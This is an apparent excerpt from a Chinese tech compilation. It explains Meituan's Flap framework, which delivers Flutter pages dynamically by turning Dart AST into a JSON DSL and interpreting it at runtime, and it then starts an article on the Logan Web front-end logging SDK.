在 具 体 实 现 上， 可 以 利 用 Dart-lang 官 方 提 供 的 Analyzer 分 析 库（该 工 具 在 

Dartfmt、Dart Doc、Dart Analyzer Server 中都有使用）构建 DSL。该库提供了

一组 API 能对 Dart source 进行分析，按照文件粒度生成 AST 对象。AST 对象用

整齐的数据结构包含了 Dart 文件的所有信息，利用这些信息可以便捷地生成所需的 

DSL。所有的这个分析	+	转换的过程全部在线下进行。接下来， DSL-JSON 以 Zip 

的形式下发，Flutter 的 AOT 侧以此为数据源，完成整个 Flutter 项目的渲染与交互。

这种方案，一来可以保持 Flutter/Dart 的开发体验，也没有平台差异，逻辑动态化依

赖静态映射和基础逻辑支持，而非 JScore，有效地避免了性能上的开销。综上考虑，

静态生产 DSL 最终成为 MTFlutter 团队选型的方案。
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2.3	项目架构

图 1　Flap 整体架构

如图 1 所示，三处浅绿色部分为一个阶段的阶段产物，起到承上启下的作用。以绿色

部分为界，整体架构自然而然的就被划分成了三个区域：

 ● 下层第一部分是对开发阶段的赋能，产物是正确且规范（也满足 Flap 规范）的 

Dart 源码。

 ● 第二部分是 DSL 的转换器，产物是 JSON 格式的 DSL，用于标准化的描述

页面层级与逻辑。

 ● 上层的第三部分是运行时环境，准备了所有需要的符号构建 Dart 对象与逻辑，

产物是动态化 App 或动态化的模块。

三、Flap 的原理与挑战

图 1 中的核心模块是转换器部分和运行时部分，接下来会介绍下这两个部分的原理与

部分实现。
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3.1	转换器原理

AST	&	DSL

AST 意为抽象语法树（Abstract Syntax Tree）。Dart 的 AST 和其他语言的 AST 

基 本 概 念 类 似。'package:front_end/src/scanner/token.dart' 中 定 义 了 所 有 的 

Token，AST 也是通过词法分析、语法分析、解层级嵌套得到。ASTNode 对

象作为存储编译单元中重要信息的基本数据结构，派生类基本分为 Declaration、

Expression、Literal、Statement。

DSL 意为领域特定语言（Domain-specific Language）。表示专门针对特定问题领

域的编程语言或者规范语言。相对自然语言，编程语言是不灵活的，它的语法和语义

设计常取决于它的执行环境和特定目的。过去人们总是发明新的编程语言，近年来新

出现的语言越来越相近，因此 DSL 也变得流行起来。

那 Flap 的 DSL 具体是什么？对于开发者而言，那这个 DSL 就是 Dart Code。而对

于机器或 App 而言，那这个 DSL 就是 JSON。

前面的技术选型中提到：

 利用 Dart-lang 官方提供了 Analyzer 分析库，官方的 Analyzer 的能力可以

拿来直接用，该库提供了一组 API 能对 Dart source 进行分析，按照文件粒

度生成 AST 对象，该数据结构包含了 input 的 Dart 文件的所有信息。

我们的 DSL 的基本原理就是对 AST 内数据的一个描述， 并附带一些其他操作。
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图 2　DSL-JSON 的转换步骤

因为用 Analyzer 的 API 跑出的 AST 也叫 CompilationUnit，实际上是一个编译单

元，里面还存有很多编译相关的属性例如 lineInfo、beginToken 等。但使用 DSL 

的方式不依赖编译，所以很多不需要的属性会被裁剪或忽略。

在转换器入口会对大类（identifier、statementImpl、literal、methodInvocation 等

等）进行分发，每一个大类的数据结构使用一种中间结构 Dart model 来传输，然后

对 于 大 类 中 细 分 的 类 型（IfStatement、AssignmentStatement、DoStatement、

SwitchStatement 等等），配有足够细粒度的转换接口，以 AST 结构作为输入，以 

Map 节点作为输出。最终定义并提炼了 10 种标准的 Map 结构（class、method、

variable、stmt 等等）来承载所有类型。

举个例子

一个简单的 Widget 节点经过转换后得到这样的 DSL-JSON，可以看到 DSL 的可

读性还是 OK 的（默认下发时产物是一个压缩成单行并加密的二进制文件，这里是解

密后 Format 换行后展示的）。我们在转换中会区分普通的字符串、变量名引用、系

统枚举等类型，加以不同的符号表示。
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图 3　常规 Widget 组件的源码与 DSL 示例

关于逻辑

举一个简单的四则运算的例子，可以看出在对于“乘法应当先计算”这个规则上，我

们的 DSL 能够自动遵循， 其中的奥秘是 Analyzer 帮我们做了这种运算优先级的判断，

归根结底还是一种描述 AST 的工作，我们自己不会去根据静态代码做分析过程。

图 4　简单逻辑的代码与 DSL 示例

关于语法糖

语法糖往往画风清奇，结构与众不同，但是在 AST 中还是很诚实的，该什么结构就

是什么结构。所以语法糖应该在转换器侧进行展开为常规结构再转 DSL，而不是对

特殊格式设置特殊的 DSL 传到运行时再去解析。
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图 5　部分语法糖的展开情况

这里只举了一些简单的例子，只是 DSL 体系中的一个片段，实际在项目落地时有很

多较为复杂的逻辑，类似于循环套循环内进行集合操作或是异步回调内加多重三目逻

辑等等。这里因为篇幅原因和涉及到业务代码相关就不展开详细的介绍了，其中的原

理是一样的，都是描述 AST 的过程中增加一些特殊处理，最终会将转换产物的 Map 

节点根据原有 AST 的层级结构组装起来，再通过 JSONEncode 转为 JSON。

图 6　DSL 内部结构层级
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转换器侧能够完整的描述一个 Dart 文件的所有信息，如图 6 所示。值得一提的是，

不同的节点还可能出现任意结构，method 里的 Argument 里可能是一个全局变量，

条件表达式的右边又可能是一个方法。对于这种相同的结构即使出现在不同的位置也

应当使用一套处理逻辑来转换，因此转换器是以迭代为主加小范围递归的设计思路。

将细粒度转换接口按照具体类别分在不同文件中（statement_factory、class_

factory、function_factory） 等待解析生产总线的调用。实际操作中各个类之间是近

似于网状的调用，因此所有调用应当都是 Static 的，并且内部隔离，不引用不修改外

部变量，做到无副作用。

DSL 转换器是一个命令行程序，因此可以无缝的部署到自动化的机器上。新代码合

入主干后， 接下来的 Bundle 生成与分发逻辑都可以使用各种图形化界面的发布系统

来操作。

3.2	运行时原理

Prepare	&	Running

运行时相关的操作是在 App 内发生的，包括初始化，拉取 DSL，解析与使用。 简言

之可以分为 Prepare 和 Running 两个阶段。Prepare 是准备各种运行时所需的符

号，包括系统类符号与自定义符号，属性符号与方法符号（这里所说的符号实际就是 

Dart 内的对象）。Prepare 阶段完成才能进行后续的 Running 相关操作，具体是页

面的构建，事件的绑定，交互与逻辑的正常运转。
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图 7　运行时原理的两大阶段

万能方法	Function.apply()

Flutter 期望线上产品是编译后的“完全体现”，同时为了避免生成过大的包，并不支

持 Dart:Mirror。“Flutter apps are pre-compiled for production, and binary size 

is always a concern with mobile apps, we disabled dart:mirrors.”那么，在这种

前提下，如何将外部符号转内部符号？ Function() 对象提供了这样一个万能方法。

// function.dart
external static apply(Function function, List positionalArguments,
      [Map<Symbol, dynamic> namedArguments]);

第一个参数是 Function 类型，后两个参数是该函数所需的参数（位置参数与命名参

数，这两者在 DSL 中都可以取到），因此只要能获取到某个 Function，那就能在任

何时候调用它。

此 Function 若为 Constructor Function 那返回值则为构造出的对象类型。

Proxy-Mirror

DSL 后只能得到字符串的标识，因此需要建立一个 String 与 Function 的映射关系，

考虑到类名方法名，数据结构应该是 {String:{String:Function}}，通过 className 

和 functionName 两个 String Key 即可取得一一对应的 Function()，下面给出一个
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系统类的类方法（构造方法）的代码片段：

{
  'EdgeInsets': 
  {
    'fromLTRB': (left, top, right, bottom) => EdgeInsets.fromLTRB(left, 
top, right, bottom),
    // ...other function
  },
  // ...other class
};

然后对于系统类的实例方法、getter、setter 则需要在外部多传一个 instance 参数，

instance 是外部通过该类的构造方法的 func 创建后传入。

// instance method
"inflateSize": (instance, size) => instance.inflateSize(size),
// getter
"horizontal": (instance) => instance.horizontal,
// setter
"last": (List instance, dynamic value) => instance.last = value,

Custom	Class’s	meta

对于自定义类，我们需要构建一个模拟的元类系统，存放所有符号信息，在解析时将

所有的 JSON 节点转成可处理的对象。所有的属性声明都会构建成 FlapVariable 类

型，所有的方法声明都会构建成 FlapFunction 类型。

如图 8 所示，父类和元类也是有相应的指针，父类的成员变量也会填充到子类，并且

通过 mixin 的方式将类相关属性注入到派生类类型，例如 FlapState，FlapState 继

承自 state，这样既可以让系统类的生命周期方法留个调用链的开口，也可以使用注

入的运行时类属性。
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图 8　运行时模拟的元类系统

Evaluate

如下面代码的例子，一个 if 语句的 JSON 节点下发后，经过 parser 之后会得到一个 

IfStatement 对象，这类对象都有一个特点就是包含几个属性，和一个运行时入口方

法 evaluate（Scope scope）。这个方法在抽象类 Evaluative 类中，所有语句和表

达式的类都会继承于此，自动获得 evaluate 方法，其中属性部分是在解析过程中解

析成 Dart 对象后通过构造方法的参数传入的。

class IfStatement extends Statement {
  dynamic condition = undefined;
  Body thenBody;
  Body elseBody;
  IfStatement(this.condition, this.thenBody, [this.elseBody]);
  // 简化版代码
  ProcessResult evaluate(Scope scope) {
    bool conditionValue = condition.evaluate(scope)
    if (conditionValue){
      return thenBody(Scope);
    }else{
      return elseBody(Scope);
    }
  }
}
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属性中的条件对象与语句对象在解析的过程中并不会被触发， 真正的触发是方法被调

用时从运行时的入口方法 evaluate 进入，此时才会通过作用域 Scope 判定条件是 

true or false，然后调用到其他需要 evaluate 的 Dart 对象，如下图 9 所示：

图 9　运行时 evaluate 触发链路

经过表达式的堆叠，实现了语句，经过语句的堆叠实现了 body，再补充上形参和返

回值，则就构成了我们运行时中的自定义方法 FlapFunction。这里要用到一下仿真

函数的概念，FlapFunction 要实现 call 方法，这样在外部调用时就真的和 Function 

画风一致了。

动态化页面运行时，Flap 会维持一套作用域体系。Scope 的结构相当于双向链表，

每一个 Scope 有 outer 和 inner 两个指针。全局作用域的 outer 为 null，inner 为

类作用域；类作用域的 inner 为局部作用域；局部作用域的 inner 可能为 null 也可能

又是一个局部作用域；随便哪一个作用域顺着 outer 一直往上找，肯定能找到全局作

用域。

Scope

Scope 在逻辑的执行中实际就是充当了 Context 上下文的作用，因为每个方法或
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表达式被 evalute 时需要一个 Scope 入参，这个 Scope 是从外部传入的，并且这

一行语句对象执行后 Scope 还会作为入参传给下一行语句。比如第一行语句声明了

一个 “code” 的变量，第二行语句对这个 “code” 进行修改，则需要先通过引用从 

Scope 中取出这个 “code” 的值，不但可以从 Scope 中取出声明的属性，也可以取

出声明过的方法，方法内也是可以调用方法的。这也就解释了为什么我们可以处理自

定义方法中的逻辑。

图 10　Scope 的寻找与构建

图 10 描述了 Scope 在实际运用中的两种场景。左半部分是点击按钮触发 onTap 回

调，需要找到 confirm 方法，此时会先从局部作用域的方法列表里找，没找到，则会 

outer 一层去类作用域里寻找，此时找到了该方法的实现。

右半部分展示了执行该方法的 body 时是需要传入的 Scope 是如何构建的。先从符

号大本营中获取全局变量、全局属性构成全局作用域，再从此类的元类中取出属性和

方法构成类作用域，再构建局部作用域，当然参数也是会放到局部作用域里的，以此

构建了完整的 Scope 传入 body 的 evaluate 方法支撑后面的逻辑执行。

3.3	遇到的挑战

工作量大，需要长期有耐心

首先解释下，这里的工作量大并不是指系统方法映射等这种体力活的工作量大，这些

我们都是有自动生成且按需生成的（生态部分会提到）。我们所说的工作量大，主要
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是指涵盖转换器、运行时的研发以及生态相关建设等，我们要尽可能的满足所有的 

Dart 语法才能让业务代码能够低成本的转换，并且有众多的脚本与工具支撑。

项目复杂，需要设计合理的架构以支撑扩展

在项目的分模块开发中，各个模块（parser、intermediate、runtime 等等）严格遵

守单一职责原则与最小知道原则，最大化的杜绝了模块间耦合，模块与模块的通信由

一些标准的数据结构进行（map 或继承自 ASTNode 的结构）。 这就使得任何一个

模块出现重大重构时不会影响到其他模块，其中底层核心的几个类的单侧覆盖率接近

100%，有专人负责优化。并且在项目中随处可以抽象类、接口类、mixin 类等，这

也就使得随着支持的能力越来越复杂时，项目的可读性不会成反比，代码不会变“恶

心”，而是以整齐的方式扩张，文件多而不乱。

疑难杂症较多，对问题保持足够的信心

有时候会遇到一些诸如静态方法调用构造方法时作用域被覆盖、循环语句嵌套时

内侧 continue 之后外侧语句也会跟着停、某方法参数的 Function 取完引用之后 

Function 也跟着执行了等等的 Bug，解 Bug 是开发中必不可少的一部分，有时候加

个 if else 用 easy way 可以很快解决，但我们不会那么做，探索优雅 Right Way 的

乐趣是研发过程中的一个重要组成部分。

相比于草草了事之后，每晚睡前都会面临这段代码“灵魂”拷问，我们更愿意多花时

间思考把代码写的像 Mac pro 主机的包装那样“丝滑”。这样的工作氛围培养了每位

同学的信心，只要是必现问题，基本都能优雅地解决。

四、生态支撑

虽然 Flap 的设计理念使得其在开发效率与执行效率上有一定的亮点，但这还不足以

让其在业务中快速推广。因此我们建设了一套完整的 Flap 生态体系，涵盖了开发、

发布、测试、运维各阶段。
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图 11　Flap 在美团内网生态

如图 11 所示，Flap 生态的特点可以用 稳、快、准、狠 四个字来表达。

4.1	稳

稳，意为可靠的质量管理体系。在① IDE 开发中②提测阶段③线上监控④降级容灾，

我们都有对应的策略。其中②和③的基本是和 Native 类似的 PR 检查、QA、日志、

上报之类的这里就不做赘述了，下面主要提一下①和④。

IDE	语法检测插件

这个功能的意义是尽早地将不支持的语法以编译错误的方式暴露出来，以便同学在开

发期就能发现及时修改。 设想一下当你代码写完了，Code Review 也逃过了同学的

眼睛，PR 的 Dart 检测也过了，开开心心下班了，突然一个电话打来说发 Bundle 

的时候错了，有的语法 Flap 不支持，需要返工去改，此时你的内心一定会“万马

奔腾”。

所以，我们将这种暂不支持的语法提前暴露，并推荐使用什么方式代替，可以有效的减

少返工， 得到一份满足 Dart 规范和 Flap 规范的代码。同样的 Lint 检测规则后续也配

置到了 PR 阶段，如果真出现插件规则更新不及时场景，也会被拦在 PR 阶段。
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图 12　IDE 语法检测插件

不过，目前 Flap 不支持的语法已经很少了，目前基本就是 await、as 和超过 2 个 

with 等场景， 其中 await 和多个 with 的理论上也能支持，但会让项目有较大的重构

和多处的分别对待，不利于后期的维护，考虑到 await 完全可以使用 future.then 代

替，所以这个语法就禁了。对于 mixin 的特性，在 Dart 侧本身就是排列组合的关系。

超过 2 个 with 会产生多个派生类，动态化的实现类似，所以为了不让简单问题复杂

化，我们也禁用了 2 个以上 with 的写法，还有一些写法上的限制，例如 import 不使

用全路径也会报错。

目前开发中 Flap 动态化已经与 AOT 共用一份业务代码了，为了不让 Flap 的规

则影响到项目中还未覆盖到动态化的页面，让其满屏报错，我们使用 @Flap 注解

作为是否开启当前页面的 Flap 规范检测的开关。这也很好理解，当这个页面内没

有 @Flap 时，肯定是个 AOT 模块则还是默认的 Dart 检测规则， 一旦加上了 @

Flap(‘pageID’)，说明此页面会被动态发版，所以会自动开启 Flap 检测规则。

降级容灾

Flap 接入了美团内部统一的动态化发布平台 DD，并利用 DD 平台的能力实现了 

App 版本、平台类型、UUID、Flutter SDK 版本等细粒度的下发规则管控。业务方

可以根据实际情况选择不同的策略灰度发布方案，如果发生了严重异常，Flap 也支

持撤包操作。
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图 13　Bundle 发布系统的各项边界控制

某一个页面加了标记支持了动态化之后，也会继续进行 AOT 编译过渡 2 个版本， 前

置页面点击跳转是跳 AOT 页还是跳 Flap 页完全由 URL 里的参数控制，这个 URL 

不是完全由云端下发的，是代码中先写上默认的 URL，若需要在配置平台修改后，

下发的配置信息会让这个 URL 在路由侧完成替换。即使配置平台挂了，顶多丧失 

URL 的替换能力而不是无法前往落地页。

图 14　URL 动态替换与条件配置
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对于 Flap 还有个更犀利的功能，在过渡期间（Flap 已经上线且 AOT 代码还没删

时），一旦 Flap 出现 Dart 异常， 当用户退出页面再进入时会自行进入该 pageID 下

的 Flutter AOT 页面，最大化降低对用户的干扰。

4.2	快

快，意为快速发版，快速更新。Flap 动态化改造使应用具备了分钟级动态发版的能

力，为了更全面地释放这个能力，客户端业务迭代的流程也做了相应的调整。

当业务包发版上线，到了应用运行阶段，Flap 主要面对的问题变成敏捷与质量的平

衡，即：如何保证动态代码能够尽快生效，同时又要保证加载性能和稳定性。

对于此问题，Flap 的解法是二级缓存与实时更新相结合，线上环境使用内存 + 磁盘

二级缓存，进入页面之后再预拉取更新包，平衡加载性能与更新实时性。而线下环境

则强制加载远程包，实现测试代码的快速交付。

图 15　Flap 二级缓存策略
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得益于这种机制，Flap 在线上可以实现接近 Web 的触达效率：应用会在启动时和具

体业务入口处发起更新请求，每当业务有动态发布，新版本页面即可在用户下一次打

开时触达至用户。在加载性能方面，二级缓存加持下的页面加载时间仅为数十毫秒，

而远程加载的时间也只有 1 秒左右。

4.3	准

细粒度动态化

准，指哪打哪，可以页面级动态化，也可以局部 Widget 级别的细粒度动态化。事实

上在 Flutter 的世界中，“页面”本身也是一个 Widget，业务方在实际开发中，只需

要增加一行注解，即可实现对应 Widget 或页面的动态化。

@Flap('close_protect')
class CloseProtectWidget extends StatelessWidget {
  // ...Widget 的 UI 和逻辑实现
}

Flap 打包发版时，解析引擎会从注解标记的 Widget 入手，递归解析所有依赖的文

件，转化成对应的 DSL 并打包。App 线上运行时，每个动态化的页面或组件都会按

照注解的 FlapId，通过 FlapWidgetContainer 还原成对应的 UI。

图 16　注解的扫描与 widget 构建
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实际调用时，只需传入注解中标记的 FlapId，即可实现动态化区域或页面的加载和

渲染。

// 局部 Widget 级别的动态化，通过 FlapWidgetContainer 加载
Column(
  children: <Widget>[
    MyAOTWidget(),  // 原生 Flutter AOT Widget
    FlapWidgetContainer(widgetId: 'kangaroo_card'), // Flap widget
  ],
);

// 页面级别的动态化，通过 MTFlutterRoute 路由跳转：
RouteUtils.open('scheme://host/mtf?mtf_page=flap&flap_id=close_
protect');

精准的	Debug	能力

在 Debug 阶段加上一个注解 @Flap（‘pageId’），就会自动尝试转 DSL。如果该

页面非常独立，且语法没有太花哨，则直接就能看到转换完成的字样。这个就说明该

页面用到的语法既支持 Dart 又支持 Flap，不需要做任何修改。如果出现错误，则会

在终端下精准打印出错误的位置。在此功能支持之前，基本都是“一崩就崩”到系统

类的某某方法，开发同学只能通过自己的经验去堆栈中往上找。目前的精准 Debug 

能力实现了转换器、运行时 parser、运行时 evaluate 三个阶段的全面覆盖。

图 17　三个阶段的 Debug 定位

在转换器阶段的报错位置信息可直接在 Exception 中获得 AST 对象的 lineinfo 进而

获取到列号行号信息。在 parser 与 evaluate 阶段的错误定位是根据对核心方法的 
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trycatch 与设置通用 Exception 类型逐层上抛实现的。因为 DSL-JSON 会被压缩

且可以 format，行号列号并无意义，所以在运行时阶段的报错全是精确到某 class 

中的某 method。

4.4	狠

狠，各种自动生成，实际转换步骤操作方式简单粗暴。Flap 在整个迭代流程环节都

提供了便捷的自动化工具支撑。

imports	自动加载

基于 Flap 转换一个旧的 Flutter AOT 页面到 Flap 页面的操作是简单粗暴的，加上

注解，一行终端指令就可以一把“梭”。但一个业务页面为了设计上的合理往往会

分成多个文件，如果有 10 个文件是不是要重复 10 遍这样的工作？答案是否定的。

Flap 无论是在 DSL 转换器侧，还是在运行时加载 DSL，都会做到 imports 的递归

加载。

IDE 语言检测插件有一条限制是：import 必须使用 package 全路径，不能只 import 

一个类名。因为多文件需要导入的位置都是根据全路径截取出的相对路径来计算的。

Proxy-mirror	按需生成

前面介绍过 Proxy-Mirror 是外部符号转内部符号的桥梁， 那么具体 Dart 文件中哪些

用到的类或方法需要内置 Proxy，而哪些类不需要呢？这个划分的边界就是，在转换

的代码内能否看到此类或方法的声明。系统方法的声明肯定不在业务文件里，所以需

要 Proxy。业务 Model 的声明在“我的业务”文件中有，所以不需要 Proxy。代码

中使用到了官方 Pub 或是其他业务线的 Pub，例如美团金融的 Pub 里的方法，声明

不在“我的业务”文件里，所以需要 Proxy。

在 Flutter AOT 迁 移 动 态 化 初 期， 经 常 需 要 手 动 干 预 的 问 题 是： 项 目 中 遇 到 

Proxy-Mirror 缺失会打断转换器， 需要手动补充后继续进行转换。

对于这种问题后期研发 Proxy 自动生成按需生成的工具， 主要原理是在预转换阶
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段，先扫描代码的 AST Tree，压平层级获取所有的项目结构中 identifer 节点包

裹的 Value，进行一系列判定规则，然后基于 reflectable 功能实现 Proxy 的自

动生成。

发布链路“一条龙”服务

经过不断的提炼与简化，目前开发者大可以将注意力集中在开发阶段，一旦代码合入

主干，接下来就会有完整的 Flap 工程化发布和托管系统协助开发者完成后续的打包、

发布、运维流程。前面介绍过的所有细节工作，都会由这些工具自动化完成，实现便

捷发布。Flap 也在路由层面对接了集团内通用的运维工具，开发者无须任何额外操

作即可实现加载时间、FPS、异常率等基础指标的监控。对于指标波动、异常升高等

情况，也会自动注册报警项并关联至当前的打包人。

五、业务实践经验

业务落地只是我们的目标之一，更重要的是在业务实践过程中，发现框架问题，完善

各类语法特性支持，提高在复杂的混合场景下的兼容性，反哺促进框架的完善。不断

打磨的同时完善工作流，思考与沉淀最佳实践，逐渐总结出合理的调试方案、操作步

骤与协作方式，不断提升开发效率与体验。完善动态化基建及工具链建设，完成动态

化流程的自动化与工程化，进一步降低转换与开发成本。

5.1	应用场景

对于 Flap 在业务中的实践，主要有两种应用场景。

场景 1.	原有	Flutter	页面，需要转换成动态化页面

设想一下，理想状态下一个好的动态化框架应该是怎样的？动态化框架将原有 

Flutter 改写成支持动态化的页面？那加一个 @Flap 注解就好了。然后就可以提交代

码，自动走工具链那一套。

目前，虽然没有达到理想状态，但我们也在无限接近中，当然还是要简单地本地调试

https://pub.dev/packages/reflectable
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一下。基本都需要改个 URL 路由和 Mock 环境之类的步骤，我们已经提供了模板的

调试工程，支持一键对比 AOT 与动态化运行之后的差异，如图 18 所示。基本就是

加上注解，IDE 插件会报错哪些语法不支持，需要换一种写法，然后跑一下就可以，

然后就提交代码。

图 18　研发过程支持不同的运行模式

场景 2.	直接使用	Flap	技术栈开发新页面

重新开发场景很明显比第一种要简单，因为没有历史包袱。设想一下，好的动态化框

架应该怎么做？就是和 Flutter 的 AOT 开发使用一套相同的 IDE 环境，相同的开发

模式，就是 IDE 会多报几项语法错误罢了，开发时就能直接被提示到换一种写法就

行。写完后加上注解，然后再提交代码。

5.2	实践经验

目前，我们团队已经把 Flutter 动态化能力在一些业务场景落地，当然业界也会有相

似的或者不同的动态化方案。无论方案本身怎样， 在落地时的步骤基本都大同小异，

我们也总结了一些经验。

绕过问题并加以记录

初期任何框架的能力都不是完美的，都会存在问题。业务方同学遇到 Proxy 类缺失
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之类等比较简单的问题可以直接解决，运行时环境的深层问题、某些语法在复杂叠

加场景下出现异常等等，一般会先尝试用其他的语法绕过，记录文档，然后同步到 

Flap 团队同学进行解决。

定时补充	IDE	Plugin	Rules

对明确不支持的语法、关键字等添加到 IDE Plugin Rules 中，并提供了相关语法的

替代方案，Rules 也会定时补充和删减。

提前周知各方资源

包括确认好 Android 的上线节奏，QA 的测试节奏，以及周知 PM 动态化的覆盖

占比。

关键权限收紧管理

相比于整理权限、灰度、降级、容灾等线上的 SOP 和 FAQ，让大家都学着操作， 直

接指定 2~3 位超级管理员看上去更靠谱，线上环境由“老司机”把控更好。

5.3	落地结果

业务应用涵盖 App 一级页在内的多个页面，场景既有页面动态化，也有局部动态化，

经受住了一级、二级页面的流量验证。

图 19　部分动态化落地页面
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图 20　部分动态化页面 FPS 数据

图 21　部分动态化页面渲染时长

图 21 涉及到 PV 的地方打了马赛克，Flap 团队对包括 FPS、加载时间、Bundle 下

载时长、渲染时长等 11 项指标进行了统计，可以看到 FPS 平均是在 58 以上，渲染

时长根据页面复杂度的不同在 7~96ms 之间。

总的来说，各项指标表现均接近于 Flutter 原生性能。并且图中的数据都还有可提升

的空间，目前的平均值也受到了局部较差数值的影响，后续会根据不同的 TP 分位使

用分层的优化方案。
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六、总结与展望

我们通过静态生产 DSL+Runtime 解释运行的思路，实现了动态下发与解释的逻辑

页面一体化的 Flutter 动态化方案，建设了一套 Flap 生态体系，涵盖了开发、发布、

测试、运维各阶段。目前 Flap 已在美团多个业务场景落地，大大缩短了需求的发版

路径，增强了线上问题修复能力。Flap 的出现让 Flutter 动态化和包大小这两个短板

得到了一定程度的弥补，促进了 Flutter 生态的发展。此外，多个技术团队对 Flap 表

示出了极大的兴趣，Flap 在更多场景的接入和共建也正在进行中。

未来我们还会进一步完善复杂语法支持能力和生态建设，降低开发和转换 Flap 的成

本，提升开发体验，争取覆盖更多业务场景，积极探索与业务方共建。然后基于大前

端融合，探索打通其他技术栈，基于 Flap DSL 抹平终端差异的可能。

参考文献
[1] Gilad Bracha. The Dart Programming Language [M]. Addison-Wesley Professional，

2015

[2] Code Push/Hot Update

[3] Analyzer 0.39.10

[4] Extension API

[5] Flutter 核心技术与实战

[6] App Store Review Guidelines
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美团开源	Logan	Web：前端日志在	Web	端的实现

作者：孙懿

1. 前言

Logan 是美团点评推出的大前端日志系统，支持多端环境运行，可为客户端、Web、

小程序等用户端环境提供前端日志的存储、收集、上报及分析能力，能够帮助开发人

员快速定位并解决端上问题，便于及时响应用户反馈与排除异常。

2018 年 10 月，Logan 在社区开源了 Android 与 iOS 端的 SDK，实现了在客户端

进行日志存储及上报代码的功能，引起用户端相关开发者的广泛关注。详细可参见博

客文章：《Logan：美团点评的开源移动端基础日志库》。

2019 年 12 月 12 日，Logan 开源了在 Web 环境运行的 SDK、日志分析平台以及

服务端代码，为开发者们提供了 Logan 大前端日志系统的一整套实现方案，进一步

解决了多端环境中日志的存储与采集问题。

本文将围绕 Logan 在 Web 端的应用背景、技术实现、美团点评的实践、开源整体

进展以及未来规划这几个方面展开介绍，以方便读者对 Logan 大前端日志系统有更

加深入的了解。

Logan 项目地址：https://github.com/Meituan-Dianping/Logan。

2. 背景

2.1	为何需要	Logan？

在 Logan 诞生前，用户端开发者在面对用户反馈页面功能异常时，最常说的灵魂三

答是：

https://tech.meituan.com/2018/10/11/logan-open-source.html
https://github.com/Meituan-Dianping/Logan
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这三条回答分别对应着开发者在解决端上问题时的心路历程：

 ●“啥问题”：通过与用户沟通，获取异常发生前后过程的详细描述，尝试在开发

者本地模拟，以期复现问题。

 ●“我这里看是好的”：问题没有复现，应该是用户端兼容性的 bug。

 ●“你重启下”：想不出修复的办法，只能“死马当活马医”，碰碰运气。

对用户端的开发者来说，本地无法复现的问题好比“断了线的风筝”，让人无计可

施。如果有办法获取到事发时完整的日志流以及用户环境的上下文信息，就能够帮

助开发者快速了解并还原问题的发生现场，可以更有效地定位排查问题，让风筝最

终被拉回到开发者手里。正是因为这样的迫切需要，Logan 大前端日志系统才应运

而生。

2.2	Logan	日志系统的策略与核心

2.2.1	Logan	在各端实行的通用策略

虽然用户端上完整的日志流及上下文环境信息更有助于开发者定位到问题，但对每个
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用户端的日志流都进行实时上报的话，也会出现如下问题：

 ● 巨大开销：耗费用户流量，占用企业带宽与服务器存储资源。

 ● 大海捞针：在海量日志中可能只有极少部分的日志能够帮助复现问题。

因此 Logan 在各端上实行的通用策略，是本地日志存储结合触发上报的模式，如流

程图所示：

a. 平时在用户端脚本执行过程中产生的日志会落地到本地的存储容器中。

b. 当遇到用户反馈或者端上异常被捕获时，Logan 以特定机制触发本地日志的上报。

c. 本地日志流将在用户端上传，由服务端收集并解析，最后上传至云端存储。

d. 由 Logan 统一的日志分析平台向开发者提供日志数据的可视化展示。

e. 开发者利用 Logan 日志排查定位并解决问题后，向用户反馈或者排除异常。

2.2.2	Logan	的三大核心

上文所阐述的 Logan 通用策略中的工作流程也决定了 Logan 日志系统拥有三大

核心：
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 ● 用户端	SDK（客户端版、Web	版及小程序版）：负责存储与上报端上日志。

 ● 服务器端：负责接收、解析、整合与分析日志。

 ● 日志分析平台：提供日志的查询与数据可视化展示。

2.3	Logan	在	Web	端面临的问题

在 Web 环境中若要实现端上日志存储及上报需要解决三大难点：

 ● 如何存储？需要解决 Web 本地大体积日志流的存取。

 ● 如何保障日志安全？在本地已存储的日志需要有数据安全保障。

 ● 如何上报？需要有效的机制触发日志的上报。

2.4	Logan	Web	做了什么？

Logan Web 是 Logan 在 Web 端的存储及上报实现方案，利用现有的前端技术加

以优化与整合，有效地解决了 Web 端面临的三大难点。我们将存储与上报的实现

封装在 Web 端的 SDK 内，开发者只需在页面脚本中引入该 SDK，便可直接使用 

Logan 在 Web 端上的日志安全存储与上报能力。

下面将重点围绕存储方案、数据安全及上报机制这三点，具体阐述 Logan Web 目前

的技术实现。

3. 技术实现

Logan Web 在底层利用了现有前端技术来实现大体积日志的安全存储：

 ● 存储方面：利用浏览器的 IndexedDB 作为本地日志的大容量存储容器。

 ● 日志安全方面：使用混合加密模式确保本地已存的隐私日志数据不会被破解。

Logan 为 Web 开发者提供了 logan-web 这个 SDK 包，其内部主要分为存储与上

报两大核心模块，底层依赖了 IndexedDB 存储与加密组件。开发者可在页面脚本中

引入并加载该 SDK 来调用日志存储或上报接口。



58　>　美团 2020 技术年货

3.1	Logan	Web	整体技术架构

以下是 Logan Web 的整体架构示意图：

a. logan-web 提供了一个入口文件，它将在日志存储方法或者日志上报方法

被触发时，异步地获取存储或上报模块。

b. 存储模块中会优先处理日志内容的加密及包装，再执行后续的分页存储流程。
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c. 上报模块会分页读取指定天的日志数据，并行上报至接收日志的服务端，进

行后续的日志解析、解密、整合及分析。

d. 这两大核心模块都会使用 Logan DB 模块封装的日志存取逻辑，该模块还会

控制本地日志数据的存储容量以及日志分页。

对 IndexedDB API 的调用被封装在独立于 logan-web 的 idb-managed 包中，该

包主要解决在使用 IndexedDB 进行本地存储时遇到的技术挑战。

3.2	本地存储方案：idb-managed

3.2.1	原生	IndexedDB	API	的局限

IndexedDB 支持大容量存储，并且其读取操作是异步化的，非常适合作为 Logan 

Web 的本地存储容器。但 IndexedDB API 在使用上会遇到如下几个问题：

（1）DB 版本升级问题

本地 DB 依靠版本的升级来更新库表结构，当本地该 DB 的版本升级后，尝试连接低

版本 DB 的操作将失败。



60　>　美团 2020 技术年货

（2）获取 DB 数据前需要设置 DB 版本及库表信息

获取 DB 数据前需要首先连接 DB，如果连接时没有设置恰当的库表信息，下一次存

储时依然以同版本建立连接，IndexedDB 则不再更新该 DB 的库表结构，最终会因

为存储数据不匹配表结构而导致存储失败。

（3） IndexedDB 不提供数据的时效设置与过期数据清理

IndexedDB 默认数据是持久化落地的，尽管它的可用容量远大于 LocalStorage，

但在像 Logan Web 这样需要随时间不断更新本地数据的使用场景下，就需要一套随

时间迭代的数据更新机制来“除旧存新”。

（4）原生 IndexedDB API 不提供多表间的原子性增删操作

原生的 IndexedDB API 只提供了单条数据的添加，以及单表内的数据批量删除操

